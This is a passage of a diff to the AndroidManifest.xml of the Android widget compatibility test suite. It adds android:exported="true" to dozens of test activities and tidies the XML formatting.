+     package="android.widget.cts"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.WRITE_SETTINGS" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
 
     <application android:label="Android TestCase"
-            android:icon="@drawable/size_48x48"
-            android:maxRecents="1"
-            android:multiArch="true"
-            android:name="android.widget.cts.MockApplication"
-            android:supportsRtl="true"
-            android:theme="@android:style/Theme.Material.Light.DarkActionBar">
+         android:icon="@drawable/size_48x48"
+         android:maxRecents="1"
+         android:multiArch="true"
+         android:name="android.widget.cts.MockApplication"
+         android:supportsRtl="true"
+         android:theme="@android:style/Theme.Material.Light.DarkActionBar">
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <activity android:name="android.widget.cts.EmptyCtsActivity"
-                  android:label="EmptyCtsActivity">
+             android:label="EmptyCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.AbsoluteLayoutCtsActivity"
-                  android:label="AbsoluteLayoutCtsActivity">
+             android:label="AbsoluteLayoutCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.TwoLineListItemCtsActivity"
-            android:label="TwoLineListItemCtsActivity">
+             android:label="TwoLineListItemCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ViewFlipperCtsActivity"
-            android:label="ViewFlipperCtsActivity">
+             android:label="ViewFlipperCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.HorizontalScrollViewCtsActivity"
-            android:label="HorizontalScrollViewCtsActivity">
+             android:label="HorizontalScrollViewCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.SlidingDrawerCtsActivity"
-            android:label="SlidingDrawerCtsActivity">
+             android:label="SlidingDrawerCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.DigitalClockCtsActivity"
-            android:label="DigitalClockCtsActivity">
+             android:label="DigitalClockCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ImageViewCtsActivity"
-                  android:label="ImageViewCtsActivity">
+             android:label="ImageViewCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ImageSwitcherCtsActivity"
-                  android:label="ImageSwitcherCtsActivity">
+             android:label="ImageSwitcherCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.TextSwitcherCtsActivity"
-                  android:label="TextSwitcherCtsActivity">
+             android:label="TextSwitcherCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.SwitchCtsActivity"
-                  android:label="SwitchCtsActivity">
+             android:label="SwitchCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.SpinnerCtsActivity"
-                  android:label="SpinnerCtsActivity">
+             android:label="SpinnerCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ToolbarCtsActivity"
-                  android:theme="@android:style/Theme.Material.Light.NoActionBar"
-                  android:label="ToolbarCtsActivity">
+             android:theme="@android:style/Theme.Material.Light.NoActionBar"
+             android:label="ToolbarCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ToolbarWithMarginsCtsActivity"
-                  android:theme="@android:style/Theme.Material.Light.NoActionBar"
-                  android:label="ToolbarWithMarginsCtsActivity">
+             android:theme="@android:style/Theme.Material.Light.NoActionBar"
+             android:label="ToolbarWithMarginsCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ActionMenuViewCtsActivity"
-                  android:label="ActionMenuViewCtsActivity">
+             android:label="ActionMenuViewCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.SeekBarCtsActivity"
-            android:label="SeekBarCtsActivity">
+             android:label="SeekBarCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ScrollViewCtsActivity"
-            android:label="ScrollViewCtsActivity">
+             android:label="ScrollViewCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.FrameLayoutCtsActivity"
-            android:label="FrameLayoutCtsActivity">
+             android:label="FrameLayoutCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.LinearLayoutCtsActivity"
-            android:label="LinearLayoutCtsActivity">
+             android:label="LinearLayoutCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.GridLayoutCtsActivity"
-            android:label="GridLayoutCtsActivity">
+             android:label="GridLayoutCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.LayoutDirectionCtsActivity"
-            android:label="LayoutDirectionCtsActivity">
+             android:label="LayoutDirectionCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.AbsSeekBarCtsActivity"
-            android:label="AbsSeekBarCtsActivity">
+             android:label="AbsSeekBarCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ProgressBarCtsActivity"
-            android:label="ProgressBarCtsActivity">
+             android:label="ProgressBarCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ChronometerCtsActivity"
-            android:label="ChronometerCtsActivity">
+             android:label="ChronometerCtsActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.MediaControllerCtsActivity"
-            android:label="MediaControllerCtsActivity">
+             android:label="MediaControllerCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.RatingBarCtsActivity"
-            android:label="RatingBarCtsActivity">
+             android:label="RatingBarCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.RemoteViewsCtsActivity"
-            android:label="RemoteViewsCtsActivity">
+             android:label="RemoteViewsCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ExpandableListBasic"
-                  android:label="ExpandableListBasic">
+             android:label="ExpandableListBasic"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ExpandableList"
-                  android:label="ExpandableList">
+             android:label="ExpandableList"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.CtsActivity"
-            android:label="CtsActivity">
+             android:label="CtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ExpandableListWithHeaders"
-            android:label="ExpandableListWithHeaders">
+             android:label="ExpandableListWithHeaders"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.GalleryCtsActivity"
-            android:label="GalleryCtsActivity">
+             android:label="GalleryCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.PopupWindowCtsActivity"
-            android:configChanges="keyboardHidden|orientation|screenSize|smallestScreenSize|screenLayout"
-            android:label="PopupWindowCtsActivity"
-            android:theme="@style/Theme.PopupWindowCtsActivity">
+             android:configChanges="keyboardHidden|orientation|screenSize|smallestScreenSize|screenLayout"
+             android:label="PopupWindowCtsActivity"
+             android:theme="@style/Theme.PopupWindowCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.PopupMenuCtsActivity"
-                  android:label="PopupMenuCtsActivity">
+             android:label="PopupMenuCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ListPopupWindowCtsActivity"
-                  android:label="ListPopupWindowCtsActivity"
-                  android:windowSoftInputMode="stateAlwaysHidden">
+             android:label="ListPopupWindowCtsActivity"
+             android:windowSoftInputMode="stateAlwaysHidden"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ListViewCtsActivity"
-                  android:label="ListViewCtsActivity">
+             android:label="ListViewCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ListViewFixedCtsActivity"
-                  android:label="ListViewFixedCtsActivity">
+             android:label="ListViewFixedCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.TextClockCtsActivity"
-                  android:label="TextClockCtsActivity"
-                  android:screenOrientation="nosensor"
-                  android:windowSoftInputMode="stateAlwaysHidden">
+             android:label="TextClockCtsActivity"
+             android:screenOrientation="nosensor"
+             android:windowSoftInputMode="stateAlwaysHidden"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.TextViewCtsActivity"
                   android:label="TextViewCtsActivity"
                   android:screenOrientation="locked"
+                  android:exported="true"
                   android:windowSoftInputMode="stateAlwaysHidden">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.EditTextCtsActivity"
-                  android:label="EditTextCtsActivity"
-                  android:screenOrientation="nosensor"
-                  android:windowSoftInputMode="stateAlwaysHidden">
+             android:label="EditTextCtsActivity"
+             android:screenOrientation="nosensor"
+             android:windowSoftInputMode="stateAlwaysHidden"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.DialerFilterCtsActivity"
-            android:label="DialerFilterCtsActivity">
+             android:label="DialerFilterCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.MultiAutoCompleteTextViewCtsActivity"
-            android:label="MultiAutoCompleteTextView Test Activity">
+             android:label="MultiAutoCompleteTextView Test Activity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.VideoViewCtsActivity"
-            android:configChanges="keyboardHidden|orientation|screenSize"
-            android:label="VideoViewCtsActivity">
+             android:configChanges="keyboardHidden|orientation|screenSize"
+             android:label="VideoViewCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.AutoCompleteCtsActivity"
-            android:label="AutoCompleteCtsActivity"
-            android:screenOrientation="nosensor"
-            android:windowSoftInputMode="stateAlwaysHidden">
+             android:label="AutoCompleteCtsActivity"
+             android:screenOrientation="nosensor"
+             android:windowSoftInputMode="stateAlwaysHidden"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.widget.cts.ViewAnimatorCtsActivity" android:label="ViewAnimatorCtsActivity">
+        <activity android:name="android.widget.cts.ViewAnimatorCtsActivity"
+             android:label="ViewAnimatorCtsActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.GridViewCtsActivity"
-            android:label="GridViewCtsActivity">
+             android:label="GridViewCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.RelativeLayoutCtsActivity"
-            android:label="RelativeLayoutCtsActivity">
+             android:label="RelativeLayoutCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.FrameLayoutCtsActivity"
-            android:label="FrameLayoutCtsActivity">
+             android:label="FrameLayoutCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.AdapterViewCtsActivity"
-            android:label="AdapterViewCtsActivity">
+             android:label="AdapterViewCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.CheckedTextViewCtsActivity"
-            android:label="CheckedTextViewCtsActivity"/>
+             android:label="CheckedTextViewCtsActivity"/>
 
         <activity android:name="android.widget.cts.TableCtsActivity"
-            android:label="TableCtsActivity">
+             android:label="TableCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.TabHostCtsActivity"
-            android:label="TabHostCtsActivity">
+             android:label="TabHostCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ZoomButtonCtsActivity"
-            android:label="ZoomButtonCtsActivity">
+             android:label="ZoomButtonCtsActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.DatePickerDialogCtsActivity"
-                  android:label="DatePickerDialogCtsActivity">
+             android:label="DatePickerDialogCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.CalendarViewCtsActivity"
-                  android:label="CalendarViewCtsActivity">
+             android:label="CalendarViewCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.DatePickerCtsActivity"
-                  android:label="DatePickerCtsActivity">
+             android:label="DatePickerCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.SearchViewCtsActivity"
-                  android:label="SearchViewCtsActivity">
+             android:label="SearchViewCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ImageButtonCtsActivity"
-                  android:label="ImageButtonCtsActivity">
+             android:label="ImageButtonCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.NumberPickerCtsActivity"
-                  android:label="NumberPickerCtsActivity">
+             android:label="NumberPickerCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.CheckBoxCtsActivity"
-                  android:label="CheckBoxCtsActivity">
+             android:label="CheckBoxCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
